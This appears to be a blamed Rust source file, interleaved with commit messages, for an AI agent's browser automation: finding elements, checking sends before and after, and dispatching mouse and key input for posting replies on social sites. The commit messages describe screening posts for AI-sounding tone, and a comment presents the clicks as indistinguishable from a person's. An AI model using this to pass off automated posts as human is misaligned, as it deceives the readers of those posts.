Docker host elsewhere retries the next port when the usual one is taken (a retry without it came up with no network). Working like a person - Instructions: pick the route, know what done looks like, one route, check once, say what's stuck instead of faking it with a substitute, ask before cutting the connection. - StepPlan: the bot's model takes the first step, the step after trouble (failed, refused, repeated, nothing changed on screen, the quick model switching routes), one in four, and the final check; a quick model (Bot.step_model, auto: grok-4.20-0309-non-reasoning on xAI) does the planned steps in between, falling back to the bot's model if it can't be used. - Skills keep the steps that worked (with what each acted on, not numbers); replay_skill does them again with no model in between, finding each control again, handing back on a mismatch. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Uirha5F5gJt93t3yEx3XcS
2026-11-09 01:01:03 +00:00
if (rf) {{ const e = deepAll('[data-anybot-ref="' + rf + '"]')[0]; if (e) return e; }}
if (!tx) return null;
const t = s => (s || '').replace(/\s+/g, ' ').trim();
const vis = e => {{ const r = e.getBoundingClientRect(); return r.width > 1 && r.height > 1; }};
Bots work like someone who knows the computer: they know each machine, reach what they see, plan, and hand the planned steps to a quick model Measured on the bot's own box (8 tasks x 2, grok-4.7): 14/16 done, 120 steps, 1114 s before; 16/16, 102 steps, 574 s after (model time 1015 -> 471 s). A replayed skill: 49 s -> 15 s. Knowing the machine - facts.rs: 電腦現況 per computer (system, desktop, systemd, sudo, network, package manager, tools, apps, a fixed TZ), read once by a small read-only probe, kept 30 min, in the instructions at the start of a turn. - The box's sudo is the bot's: only what follows sudo is checked against the always-denied list (it was refused outright, while the instructions said it could sudo), and commands with sudo run as the box's root (setuid does nothing under gVisor). - Box image v8 drops ENV TZ=UTC (it overrode /etc/localtime). ANYBOT_BOX_IMAGE / ANYBOT_BOX_VOLUME give a throwaway box its own image and volume, never adopting the real one. - Mac shell sandbox: App Store app CLIs (they carry their own app sandbox) and ps/top run outside it; plain `osascript -e` too, asked the first time even in direct mode, refusing do shell script, terminals, keystrokes, file reads, ObjC and the secret folders. A command the sandbox broke says so, instead of looking like a broken program. Reaching what it sees - The Mac menu bar's status icons are numbered (each app's AXExtrasMenuBar, named from inside for the system's own), computer_use_zoom looks closer at full sharpness. - Numbers stay with their controls from look to look (they were reassigned every look, so a step's second click landed elsewhere); the box's front window is listed first; a control can be named instead of numbered (name "4"). - Web page numbering walks open shadow DOM (Chromium settings, web components). - A box on a Docker host elsewhere retries the next port when the usual one is taken (a retry without it came up with no network). Working like a person - Instructions: pick the route, know what done looks like, one route, check once, say what's stuck instead of faking it with a substitute, ask before cutting the connection. - StepPlan: the bot's model takes the first step, the step after trouble (failed, refused, repeated, nothing changed on screen, the quick model switching routes), one in four, and the final check; a quick model (Bot.step_model, auto: grok-4.20-0309-non-reasoning on xAI) does the planned steps in between, falling back to the bot's model if it can't be used. - Skills keep the steps that worked (with what each acted on, not numbers); replay_skill does them again with no model in between, finding each control again, handing back on a mismatch. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Uirha5F5gJt93t3yEx3XcS
2026-11-09 01:01:03 +00:00
const all = deepAll('a,button,[role],input,select,textarea,label,summary,li,td,th,span,div,p,img').filter(vis);
const hit = e => [t(e.innerText), t(e.getAttribute('aria-label')), t(e.getAttribute('placeholder')), t(e.title), t(e.value), e.labels && e.labels[0] ? t(e.labels[0].innerText) : ''];
// The control the words name, not the box around it: 「Customer name:」 is a <p> holding a
// label and its input, 「Submit order」 a <p> holding the button (its middle is empty page).
const ctl = 'a,button,input,select,textarea,summary,[role=button],[role=link],[role=checkbox],[role=radio],[role=switch],[role=tab],[role=menuitem],[role=option],[role=textbox],[role=combobox],[contenteditable=""],[contenteditable=true]';
const isCtl = e => e.matches(ctl);
const inner = e => {{
if (isCtl(e)) return e;
if (e.tagName === 'LABEL' && e.control && vis(e.control)) return e.control;
Bots work like someone who knows the computer: they know each machine, reach what they see, plan, and hand the planned steps to a quick model Measured on the bot's own box (8 tasks x 2, grok-4.7): 14/16 done, 120 steps, 1114 s before; 16/16, 102 steps, 574 s after (model time 1015 -> 471 s). A replayed skill: 49 s -> 15 s. Knowing the machine - facts.rs: 電腦現況 per computer (system, desktop, systemd, sudo, network, package manager, tools, apps, a fixed TZ), read once by a small read-only probe, kept 30 min, in the instructions at the start of a turn. - The box's sudo is the bot's: only what follows sudo is checked against the always-denied list (it was refused outright, while the instructions said it could sudo), and commands with sudo run as the box's root (setuid does nothing under gVisor). - Box image v8 drops ENV TZ=UTC (it overrode /etc/localtime). ANYBOT_BOX_IMAGE / ANYBOT_BOX_VOLUME give a throwaway box its own image and volume, never adopting the real one. - Mac shell sandbox: App Store app CLIs (they carry their own app sandbox) and ps/top run outside it; plain `osascript -e` too, asked the first time even in direct mode, refusing do shell script, terminals, keystrokes, file reads, ObjC and the secret folders. A command the sandbox broke says so, instead of looking like a broken program. Reaching what it sees - The Mac menu bar's status icons are numbered (each app's AXExtrasMenuBar, named from inside for the system's own), computer_use_zoom looks closer at full sharpness. - Numbers stay with their controls from look to look (they were reassigned every look, so a step's second click landed elsewhere); the box's front window is listed first; a control can be named instead of numbered (name "4"). - Web page numbering walks open shadow DOM (Chromium settings, web components). - A box on a Docker host elsewhere retries the next port when the usual one is taken (a retry without it came up with no network). Working like a person - Instructions: pick the route, know what done looks like, one route, check once, say what's stuck instead of faking it with a substitute, ask before cutting the connection. - StepPlan: the bot's model takes the first step, the step after trouble (failed, refused, repeated, nothing changed on screen, the quick model switching routes), one in four, and the final check; a quick model (Bot.step_model, auto: grok-4.20-0309-non-reasoning on xAI) does the planned steps in between, falling back to the bot's model if it can't be used. - Skills keep the steps that worked (with what each acted on, not numbers); replay_skill does them again with no model in between, finding each control again, handing back on a mismatch. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Uirha5F5gJt93t3yEx3XcS
2026-11-09 01:01:03 +00:00
const c = deepAll(ctl, e).filter(vis);
return c.length === 1 ? c[0] : e;
}};
const shortest = l => l.slice().sort((a, b) => t(a.innerText).length - t(b.innerText).length)[0];
const pick = l => l.find(isCtl) || l.map(inner).find(isCtl) || shortest(l) || null;
const exact = all.filter(e => hit(e).includes(tx));
return exact.length ? pick(exact) : pick(all.filter(e => hit(e).some(h => h.includes(tx))));
Bots work like someone who knows the computer: they know each machine, reach what they see, plan, and hand the planned steps to a quick model Measured on the bot's own box (8 tasks x 2, grok-4.7): 14/16 done, 120 steps, 1114 s before; 16/16, 102 steps, 574 s after (model time 1015 -> 471 s). A replayed skill: 49 s -> 15 s. Knowing the machine - facts.rs: 電腦現況 per computer (system, desktop, systemd, sudo, network, package manager, tools, apps, a fixed TZ), read once by a small read-only probe, kept 30 min, in the instructions at the start of a turn. - The box's sudo is the bot's: only what follows sudo is checked against the always-denied list (it was refused outright, while the instructions said it could sudo), and commands with sudo run as the box's root (setuid does nothing under gVisor). - Box image v8 drops ENV TZ=UTC (it overrode /etc/localtime). ANYBOT_BOX_IMAGE / ANYBOT_BOX_VOLUME give a throwaway box its own image and volume, never adopting the real one. - Mac shell sandbox: App Store app CLIs (they carry their own app sandbox) and ps/top run outside it; plain `osascript -e` too, asked the first time even in direct mode, refusing do shell script, terminals, keystrokes, file reads, ObjC and the secret folders. A command the sandbox broke says so, instead of looking like a broken program. Reaching what it sees - The Mac menu bar's status icons are numbered (each app's AXExtrasMenuBar, named from inside for the system's own), computer_use_zoom looks closer at full sharpness. - Numbers stay with their controls from look to look (they were reassigned every look, so a step's second click landed elsewhere); the box's front window is listed first; a control can be named instead of numbered (name "4"). - Web page numbering walks open shadow DOM (Chromium settings, web components). - A box on a Docker host elsewhere retries the next port when the usual one is taken (a retry without it came up with no network). Working like a person - Instructions: pick the route, know what done looks like, one route, check once, say what's stuck instead of faking it with a substitute, ask before cutting the connection. - StepPlan: the bot's model takes the first step, the step after trouble (failed, refused, repeated, nothing changed on screen, the quick model switching routes), one in four, and the final check; a quick model (Bot.step_model, auto: grok-4.20-0309-non-reasoning on xAI) does the planned steps in between, falling back to the bot's model if it can't be used. - Skills keep the steps that worked (with what each acted on, not numbers); replay_skill does them again with no model in between, finding each control again, handing back on a mismatch. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Uirha5F5gJt93t3yEx3XcS
2026-11-09 01:01:03 +00:00
}})()"#,
deep = DEEP_JS
)
}
feat: 發布關卡——已送帳本、發布前檢查、送出後讀頁面留證據、例行任務完成條件、重播可填空格 1. 已送帳本(publish.rs):Bot 用 AnyBot 瀏覽器送出前,系統先讀頁面,看是哪個帳號、回哪一篇(回覆對話框或文章裡的貼文網址、或頁面本身);同一帳號回過同一篇就擋下(記 60 天),頁面看不出回哪篇時只擋 24 小時內同頁同字。搜尋框按 Enter 不算送出。瀏覽器新增 sent 動作,直接從帳本列出帳號回過誰,不必每輪讀完網站的回覆頁 2. 發布前檢查:送出前請另一家供應商的快速模型照基本規則(簡體字、AI 腔、不該公開的內容)、這一輪讀過的技能與自訂規則檢查,沒過就不送並說原因;固定不變的放在系統提示最前面方便快取,同一段字一輪只問一次;設定可關、可加規則 3. 送出後的證據:系統重讀頁面,確認文字出現、輸入框清空,抓出留言自己的網址;寫進 Message.sent(頁面文字偽造不了),送出計數、例行任務紀錄、/goal 評審、手機頁面都以它為準;框裡還留著字就記為沒有送出 4. 完成條件:例行任務可設 target_sends,系統自己數:到數就不准再送,結束時不到算失敗,連續兩輪(50 步)沒有新的送出就停下;喚醒訊息與進展檢查都說明目前計數 5. 重播空格:自動學技能時把每次不同的內容(留言、貼文網址)存成 {{名稱}},replay_skill 用 values 填這次的內容,缺哪格就說哪格 6. 間隔從真正送出那一刻算起;送出後確認最多等 8 秒,框清空 4 秒仍沒看到就先記「還沒確認」 Mac 480 個測試通過;送出前後讀頁面在 Brave、Firefox 實機測試通過。 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 17:48:13 +00:00
/// Post addresses (a Threads or Instagram post, an X status, a comment's own link): what a reply
/// answers, and what a reply is once it is up.
const PERMA_JS: &str = r#"const PERMA = /\/(post|posts|status|statuses|p|reel|reels|comments)\/[A-Za-z0-9_.-]+/; const perma = h => { try { const u = new URL(h, location.href); return PERMA.test(u.pathname) ? u.origin + u.pathname.replace(/\/+$/, '') : ''; } catch (e) { return ''; } }; const permasIn = r => [...r.querySelectorAll('a[href]')].map(a => perma(a.getAttribute('href'))).filter(Boolean);"#;
/// The page before a step that may send (publish.rs): the box the words go out from (the
/// focused one; for a click, the one in the clicked control's dialog or form), what kind of box,
/// its words, the post it answers (the page's own, or the one in the reply dialog or article
/// around the box) and the words around it, and the post addresses on the page now.
const SEND_INFO_JS: &str = r#"(() => {
__PERMA__
const MODE = __MODE__; const REF = __EL__;
const c = s => (s || '').replace(/\s+/g, ' ').trim();
const active = () => { let e = document.activeElement; while (e && e.shadowRoot && e.shadowRoot.activeElement) e = e.shadowRoot.activeElement; return e; };
const isBox = e => !!e && (e.isContentEditable || e.tagName === 'TEXTAREA' || (e.tagName === 'INPUT' && !['button','submit','checkbox','radio','file','reset','image','hidden','password'].includes((e.type || '').toLowerCase())));
const words = e => !e ? '' : ((e.isContentEditable ? e.innerText : (e.value !== undefined ? String(e.value) : '')) || '');
const around = e => e && e.closest('[role="dialog"],dialog,[aria-modal="true"],form');
let field = null;
if (MODE === 'click') {
const scope = around(REF); const a = active();
if (isBox(a) && (!scope || scope.contains(a))) field = a;
if (!field && scope) field = [...scope.querySelectorAll('textarea,input,[contenteditable]')].find(e => isBox(e) && c(words(e))) || null;
if (!field && isBox(a)) field = a;
} else {
field = REF || active();
if (field && !isBox(field) && field.querySelector) { const inner = field.querySelector('textarea,input,[contenteditable="true"],[contenteditable=""]'); if (isBox(inner)) field = inner; }
}
if (!isBox(field)) field = null;
const hint = field ? (field.getAttribute('placeholder') || '') + ' ' + (field.getAttribute('aria-label') || '') : '';
const kind = !field ? 'none' : (field.isContentEditable || field.tagName === 'TEXTAREA') ? 'editor'
: ((field.type || '').toLowerCase() === 'search' || field.getAttribute('role') === 'searchbox' || field.closest('[role="search"]') || /search|搜尋|搜索|查詢/i.test(hint)) ? 'search' : 'input';
let target = perma(location.href), quoted = '';
const box = field && (field.closest('[role="dialog"],dialog,[aria-modal="true"]') || field.closest('article,[role="article"]'));
if (box) { const t = permasIn(box)[0]; if (t) target = t; quoted = c(box.innerText).replace(c(words(field)), ' '); }
if (!quoted) quoted = c(document.title);
return JSON.stringify({url: location.href, kind, text: words(field).slice(0, 4000), target, quoted: c(quoted).slice(0, 400), links: [...new Set(permasIn(document))].slice(0, 400)});
})()"#;
/// The page after a send: the words still in a box (it didn't go), the words in the page (the
/// deepest element holding them, outside any box), and the reply's own address — a post address
/// near the words that wasn't on the page before, else the only one that newly appeared (a
/// 「已發佈 · 查看」 notice).
const SENT_CHECK_JS: &str = r#"(() => {
__PERMA__
const EX = __EX__; const BEFORE = new Set(__LINKS__); const TARGET = __TARGET__;
const n = s => (s || '').replace(/\s+/g, ' ').trim();
const boxSel = 'textarea,input,[contenteditable="true"],[contenteditable=""]';
const left = !!EX && [...document.querySelectorAll(boxSel)].some(b => n(b.isContentEditable ? b.innerText : b.value).includes(EX));
const hits = [];
if (EX) for (const el of document.body.querySelectorAll('*')) {
if (['SCRIPT','STYLE','NOSCRIPT','TEMPLATE'].includes(el.tagName) || el.closest(boxSel)) continue;
const t = el.textContent; if (t && t.length < 20000 && n(t).includes(EX)) hits.push(el);
}
const deep = hits.filter(e => !hits.some(o => o !== e && e.contains(o)));
const fresh = h => h && h !== TARGET && !BEFORE.has(h);
let link = '';
for (const e of deep) { let p = e; for (let i = 0; i < 12 && p && !link; i++, p = p.parentElement) { const a = permasIn(p).find(fresh); if (a) link = a; } if (link) break; }
if (!link) { const all = [...new Set(permasIn(document).filter(fresh))]; if (all.length === 1) link = all[0]; }
return JSON.stringify({left, seen: deep.length > 0, link});
})()"#;
/// How long the page is watched after a send for the words to leave the box and show (a post
/// can sit at 「發佈中…」 with its words still in the box for a few seconds; estimated).
const SENT_CHECK_SECS: f64 = 8.0;
fn send_info(tab: &mut Tab, mode: &str, r#ref: &str, text: &str) -> Result<Value, String> {
let el = if r#ref.trim().is_empty() && text.trim().is_empty() { "null".to_string() } else { find_js(r#ref, text) };
let js = SEND_INFO_JS.replace("__PERMA__", PERMA_JS).replace("__MODE__", &serde_json::to_string(mode).unwrap_or_default()).replace("__EL__", &el);
let v = tab.eval(&js)?;
v.as_str().and_then(|x| serde_json::from_str(x).ok()).ok_or_else(|| "讀不到這一頁的輸入框".to_string())
}
fn sent_check(tab: &mut Tab, excerpt: &str, links: &Value, target: &str) -> Value {
let js = SENT_CHECK_JS
.replace("__PERMA__", PERMA_JS)
.replace("__EX__", &serde_json::to_string(excerpt.split_whitespace().collect::<Vec<_>>().join(" ").as_str()).unwrap_or_default())
.replace("__LINKS__", &if links.is_array() { links.to_string() } else { "[]".into() })
.replace("__TARGET__", &serde_json::to_string(target).unwrap_or_default());
let start = Instant::now();
let mut last = json!({"left": false, "seen": false, "link": ""});
loop {
if let Some(v) = tab.eval(&js).ok().and_then(|v| v.as_str().and_then(|x| serde_json::from_str::<Value>(x).ok())) {
last = v;
}
let gone = last["left"] == false;
let shown = last["seen"] == true || last["link"].as_str().is_some_and(|l| !l.is_empty());
let secs = start.elapsed().as_secs_f64();
// Gone from the box and up on the page; gone and, half the time on, still not shown (a
// page that doesn't show its own replies — waiting longer finds nothing); or time's up.
if (gone && shown) || (gone && secs > SENT_CHECK_SECS / 2.0) || secs > SENT_CHECK_SECS {
return last;
}
settle(500);
}
}
/// Bring the element into view and get its centre (CSS pixels in the viewport).
fn locate(tab: &mut Tab, r#ref: &str, text: &str) -> Result<(f64, f64, String), String> {
let js = format!(
"(() => {{ const el = {}; if (!el) return null; el.scrollIntoView({{block: 'center', inline: 'center'}}); const r = el.getBoundingClientRect(); return JSON.stringify({{x: r.left + r.width / 2, y: r.top + r.height / 2, tag: el.tagName, type: el.type || '', ro: !!el.readOnly}}); }})()",
find_js(r#ref, text)
);
let v = tab.eval(&js)?;
let what = if !r#ref.trim().is_empty() { format!("[{}]", r#ref.trim().trim_matches(['[', ']'])) } else { format!("「{}」", text.trim()) };
feat: 借鏡 pstack/Grok Bot——例行任務執行紀錄、完成看證據、教訓分流、園丁報告、減少操作步驟、網站地圖 1. 例行任務執行紀錄:每次執行記開始/結束、完成/失敗/被停止/中斷、步數與失敗步數、原因,保留最近 20 次(Grok Bot 官方規格);上次失敗或中斷的原因帶進下一次;連續失敗 2 次自動暫停並說明原因;設定頁、手機詳細頁、list_routines 都看得到,沒有紀錄時說「查不到」不說「沒跑過」 2. 完成看證據:evidence.rs 從步驟算出實際成功送出幾次,寫進例行任務紀錄;/goal 評審的摘錄把 Bot 的話標成「不是證據」並附系統統計,對不上以系統為準;評審優先用另一家供應商的模型,失敗退回原本的 3. 教訓分流:自動學技能時,AnyBot 自己的工具問題寫進 tool_issues → 「待改進」清單(同一工具合併計次),不寫進技能;設定 › 更新可看可清除 4. 園丁報告(garden.rs):平日 8:44 掃過去一天的失敗、走冤枉路的執行、自動暫停與重複出現的待改進;週一 8:49 列出失敗多或太耗時的例行任務;沒事不報,可在設定關掉 5. 減少步驟:browser type 多行文字一次放進欄位(先試貼上事件、檢查沒進再用 insertText,Firefox 也行)並回報欄位內容;點進輸入框回「游標已在…」不再說「沒有變化」;元素編號在同一頁重讀時不變;wait 的 after_send 從上次送出算間隔 6. 網站地圖:學技能時同一網站的操作知識整理進「<網站> 網站地圖」(功能/怎麼到/怎麼操作/陷阱),做事的技能只寫特有規則 Mac 465、Linux 469 個測試通過;多行輸入與編號實機測試在 Brave、Firefox 通過。 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 15:52:44 +00:00
let p: Value = v.as_str().and_then(|s| serde_json::from_str(s).ok()).ok_or_else(|| format!("這一頁找不到 {what}(可能已經不在頁面上,或換了一頁)。用 browser_read 或 browser_elements 看最新的清單。"))?;
Ok((p["x"].as_f64().unwrap_or(0.0), p["y"].as_f64().unwrap_or(0.0), format!("{what}{}", if p["tag"] == "INPUT" && p["ro"] == true { "(唯讀欄位)" } else { "" })))
}
fn mouse(tab: &mut Tab, kind: &str, x: f64, y: f64, button: &str, count: i64) -> Result<(), String> {
tab.call("Input.dispatchMouseEvent", json!({"type": kind, "x": x, "y": y, "button": button, "buttons": if kind == "mousePressed" { 1 } else { 0 }, "clickCount": count})).map(|_| ())
}
/// A real click (the page can't tell it from a person's).
fn click_at(tab: &mut Tab, x: f64, y: f64, button: &str, count: i64) -> Result<(), String> {
mouse(tab, "mouseMoved", x, y, "none", 0)?;
for n in 1..=count {
mouse(tab, "mousePressed", x, y, button, n)?;
mouse(tab, "mouseReleased", x, y, button, n)?;
}
Ok(())
}
/// Key names the bot may use → (key, code, keyCode, text).
fn key_info(k: &str) -> Option<(&'static str, &'static str, i64, &'static str)> {
Some(match k.to_lowercase().as_str() {
"enter" | "return" => ("Enter", "Enter", 13, "\r"),
"tab" => ("Tab", "Tab", 9, ""),
"escape" | "esc" => ("Escape", "Escape", 27, ""),
"backspace" => ("Backspace", "Backspace", 8, ""),
"delete" => ("Delete", "Delete", 46, ""),
"space" => (" ", "Space", 32, " "),
"arrowdown" | "down" => ("ArrowDown", "ArrowDown", 40, ""),
"arrowup" | "up" => ("ArrowUp", "ArrowUp", 38, ""),
"arrowleft" | "left" => ("ArrowLeft", "ArrowLeft", 37, ""),
"arrowright" | "right" => ("ArrowRight", "ArrowRight", 39, ""),
"pagedown" => ("PageDown", "PageDown", 34, ""),
"pageup" => ("PageUp", "PageUp", 33, ""),
"home" => ("Home", "Home", 36, ""),
"end" => ("End", "End", 35, ""),
"a" => ("a", "KeyA", 65, "a"),
"c" => ("c", "KeyC", 67, "c"),
"v" => ("v", "KeyV", 86, "v"),
"x" => ("x", "KeyX", 88, "x"),
"f" => ("f", "KeyF", 70, "f"),
_ => return None,
})
}
/// Press a key or combination ("Enter", "ctrl+a", "shift+tab").
fn press(tab: &mut Tab, combo: &str) -> Result<(), String> {
let parts: Vec<&str> = combo.split('+').map(str::trim).filter(|s| !s.is_empty()).collect();
let (key, mods) = parts.split_last().ok_or("請給按鍵,例如 Enter")?;
let mut m = 0;
for x in mods {
m |= match x.to_lowercase().as_str() {
"alt" | "option" => 1,
"ctrl" | "control" => 2,
"cmd" | "meta" | "command" => 4,
"shift" => 8,
other => return Err(format!("不認得的按鍵「{other}」")),
};
}
let (k, code, kc, text) = key_info(key).ok_or_else(|| format!("不認得的按鍵「{key}」,可以用 Enter、Tab、Escape、Backspace、方向鍵、PageDown、Home、End,或 ctrl+a 這類組合"))?;
let text = if m & (1 | 2 | 4) != 0 { "" } else { text };
tab.call("Input.dispatchKeyEvent", json!({"type": if text.is_empty() { "rawKeyDown" } else { "keyDown" }, "key": k, "code": code, "windowsVirtualKeyCode": kc, "modifiers": m, "text": text}))?;
tab.call("Input.dispatchKeyEvent", json!({"type": "keyUp", "key": k, "code": code, "windowsVirtualKeyCode": kc, "modifiers": m}))?;
Ok(())
}
fn settle(ms: u64) {
std::thread::sleep(Duration::from_millis(ms));
}
Whole control flow checked against real chats: what the bot sees is what is there, every step lands, nothing done twice Web - web_fetch kept pages with a <header> only up to it (taken for <head>): articles came back as their menus. - browser_open waits for the page to load and returns it like browser_read (one step fewer per page); actions wait for the page to hold still instead of fixed 1-2.5 s sleeps; one way to reach the tab. The bot's computer (box v6) - Numbers only on what can be seen: clipped to the window and the page's visible area, none under another app's window (a link scrolled under the toolbar was numbered on Back). - press_key with a typed character no longer swallows the keys after it (xdotool type --args 1). - The person's input through noVNC/TigerVNC is noticed again (fence, continuous updates, QEMU keys). - "Nothing changed" only after clicks, scrolls and drags; long text is pasted; one screen step at a time; one docker inspect per step when the box is known ready; poppler-utils for long PDFs. - One typing path and fewer round trips (stdin variant, unused picture path, extra batch execs gone). The person's computers - Linux: the window system's front app when it has one, and the reason when there is none (was 「」); hidden and off-screen controls get no number; wording no longer names a tool that doesn't exist. The loop - Without Docker, the bot's own computer runs no commands where there is no sandbox (Linux, Windows): it was a plain shell on the brain itself, keys in reach, asked nothing. - The bot's own computer is re-checked each step; unreachable computers are failures, not safety blocks; no direct-mode note on every result; an empty reply is asked again; scrolling and keys aren't counted as going in circles; steps aren't moved to a computer that can't do them. - One finish() for every step's result, keep_grant(), dead appctl list_computers/SERVING and the impossible server branches removed; duplicated prompt instructions merged. Tests: 162 (Mac) / 166 (Linux) unit; real box drills 6/6 on box v6; a brain without Chrome browses on its box; remote E2E 28/28. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Uirha2RVfSYmrhqNnqx9Z4
2026-11-06 09:44:59 +00:00
/// What the page shows, cheaply: load state, address and how much text.
const SIG_JS: &str = "document.readyState+'|'+location.href+'|'+(document.body?document.body.innerText.length:0)";
fn page_sig(tab: &mut Tab) -> String {
tab.eval(SIG_JS).ok().and_then(|v| v.as_str().map(String::from)).unwrap_or_default()
}
/// Wait for an action's effect, not a fixed time: back as soon as the page has changed and holds
/// still (loaded, same address and text twice in a row), or when nothing has started to change
/// within `quiet_ms`; never longer than `max_ms`. (Fixed sleeps read slow pages too early and
/// kept the bot waiting on fast ones.)
pub fn settle_after(tab: &mut Tab, before: &str, quiet_ms: u64, max_ms: u64) {
let start = Instant::now();
let mut last = String::new();
let mut changed = false;
loop {
settle(150);
let now = page_sig(tab);
changed |= now != before;
let elapsed = start.elapsed().as_millis() as u64;
let still = now.starts_with("complete|") && now == last;
if (still && (changed || elapsed >= quiet_ms)) || elapsed >= max_ms {
return;
}
last = now;
}
}
/// Wait until the tab in front has loaded a real page (not the blank tab it starts as) and holds
/// still, at most `max_ms`. Says whether it did. Connects afresh each look: a navigation can swap
/// the page behind the tab.
pub fn wait_loaded(profile: Option<&str>, max_ms: u64) -> bool {
let start = Instant::now();
let mut last = String::new();
while (start.elapsed().as_millis() as u64) < max_ms {
let now = Tab::current(profile).map(|mut t| {
let sig = page_sig(&mut t);
t.close();
sig
});
let now = now.unwrap_or_default();
if now.starts_with("complete|") && !now.contains("|about:blank|") && now == last {
return true;
}
last = now;
settle(200);
}
false
}
// ---------- the tools ----------
fn s(args: &Value, k: &str) -> String {
args.get(k).map(|v| v.as_str().map(String::from).unwrap_or_else(|| if v.is_null() { String::new() } else { v.to_string() })).unwrap_or_default().trim().to_string()
}
feat: 發布關卡——已送帳本、發布前檢查、送出後讀頁面留證據、例行任務完成條件、重播可填空格 1. 已送帳本(publish.rs):Bot 用 AnyBot 瀏覽器送出前,系統先讀頁面,看是哪個帳號、回哪一篇(回覆對話框或文章裡的貼文網址、或頁面本身);同一帳號回過同一篇就擋下(記 60 天),頁面看不出回哪篇時只擋 24 小時內同頁同字。搜尋框按 Enter 不算送出。瀏覽器新增 sent 動作,直接從帳本列出帳號回過誰,不必每輪讀完網站的回覆頁 2. 發布前檢查:送出前請另一家供應商的快速模型照基本規則(簡體字、AI 腔、不該公開的內容)、這一輪讀過的技能與自訂規則檢查,沒過就不送並說原因;固定不變的放在系統提示最前面方便快取,同一段字一輪只問一次;設定可關、可加規則 3. 送出後的證據:系統重讀頁面,確認文字出現、輸入框清空,抓出留言自己的網址;寫進 Message.sent(頁面文字偽造不了),送出計數、例行任務紀錄、/goal 評審、手機頁面都以它為準;框裡還留著字就記為沒有送出 4. 完成條件:例行任務可設 target_sends,系統自己數:到數就不准再送,結束時不到算失敗,連續兩輪(50 步)沒有新的送出就停下;喚醒訊息與進展檢查都說明目前計數 5. 重播空格:自動學技能時把每次不同的內容(留言、貼文網址)存成 {{名稱}},replay_skill 用 values 填這次的內容,缺哪格就說哪格 6. 間隔從真正送出那一刻算起;送出後確認最多等 8 秒,框清空 4 秒仍沒看到就先記「還沒確認」 Mac 480 個測試通過;送出前後讀頁面在 Brave、Firefox 實機測試通過。 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 17:48:13 +00:00
pub const NAMES: [&str; 21] = [
"browser_elements",
"browser_click",
"browser_hover",
"browser_type",
"browser_press",
"browser_select",
"browser_scroll",
"browser_wait",
"browser_find",
"browser_table",
"browser_screenshot",
"browser_tabs",
"browser_back",
"browser_upload",
"browser_download",
"browser_pdf",
"browser_dialog",
"browser_eval",
feat: 發布關卡——已送帳本、發布前檢查、送出後讀頁面留證據、例行任務完成條件、重播可填空格 1. 已送帳本(publish.rs):Bot 用 AnyBot 瀏覽器送出前,系統先讀頁面,看是哪個帳號、回哪一篇(回覆對話框或文章裡的貼文網址、或頁面本身);同一帳號回過同一篇就擋下(記 60 天),頁面看不出回哪篇時只擋 24 小時內同頁同字。搜尋框按 Enter 不算送出。瀏覽器新增 sent 動作,直接從帳本列出帳號回過誰,不必每輪讀完網站的回覆頁 2. 發布前檢查:送出前請另一家供應商的快速模型照基本規則(簡體字、AI 腔、不該公開的內容)、這一輪讀過的技能與自訂規則檢查,沒過就不送並說原因;固定不變的放在系統提示最前面方便快取,同一段字一輪只問一次;設定可關、可加規則 3. 送出後的證據:系統重讀頁面,確認文字出現、輸入框清空,抓出留言自己的網址;寫進 Message.sent(頁面文字偽造不了),送出計數、例行任務紀錄、/goal 評審、手機頁面都以它為準;框裡還留著字就記為沒有送出 4. 完成條件:例行任務可設 target_sends,系統自己數:到數就不准再送,結束時不到算失敗,連續兩輪(50 步)沒有新的送出就停下;喚醒訊息與進展檢查都說明目前計數 5. 重播空格:自動學技能時把每次不同的內容(留言、貼文網址)存成 {{名稱}},replay_skill 用 values 填這次的內容,缺哪格就說哪格 6. 間隔從真正送出那一刻算起;送出後確認最多等 8 秒,框清空 4 秒仍沒看到就先記「還沒確認」 Mac 480 個測試通過;送出前後讀頁面在 Brave、Firefox 實機測試通過。 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 17:48:13 +00:00
// 發布關卡 (publish.rs): the system's own looks before and after a send, never offered to
// the model (action_tool has no action for them).
SEND_INFO,
SENT_CHECK,
SENT_LOG,
];
feat: 發布關卡——已送帳本、發布前檢查、送出後讀頁面留證據、例行任務完成條件、重播可填空格 1. 已送帳本(publish.rs):Bot 用 AnyBot 瀏覽器送出前,系統先讀頁面,看是哪個帳號、回哪一篇(回覆對話框或文章裡的貼文網址、或頁面本身);同一帳號回過同一篇就擋下(記 60 天),頁面看不出回哪篇時只擋 24 小時內同頁同字。搜尋框按 Enter 不算送出。瀏覽器新增 sent 動作,直接從帳本列出帳號回過誰,不必每輪讀完網站的回覆頁 2. 發布前檢查:送出前請另一家供應商的快速模型照基本規則(簡體字、AI 腔、不該公開的內容)、這一輪讀過的技能與自訂規則檢查,沒過就不送並說原因;固定不變的放在系統提示最前面方便快取,同一段字一輪只問一次;設定可關、可加規則 3. 送出後的證據:系統重讀頁面,確認文字出現、輸入框清空,抓出留言自己的網址;寫進 Message.sent(頁面文字偽造不了),送出計數、例行任務紀錄、/goal 評審、手機頁面都以它為準;框裡還留著字就記為沒有送出 4. 完成條件:例行任務可設 target_sends,系統自己數:到數就不准再送,結束時不到算失敗,連續兩輪(50 步)沒有新的送出就停下;喚醒訊息與進展檢查都說明目前計數 5. 重播空格:自動學技能時把每次不同的內容(留言、貼文網址)存成 {{名稱}},replay_skill 用 values 填這次的內容,缺哪格就說哪格 6. 間隔從真正送出那一刻算起;送出後確認最多等 8 秒,框清空 4 秒仍沒看到就先記「還沒確認」 Mac 480 個測試通過;送出前後讀頁面在 Brave、Firefox 實機測試通過。 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 17:48:13 +00:00
/// What each account already sent (the brain's own book, publish.rs; action `sent`).
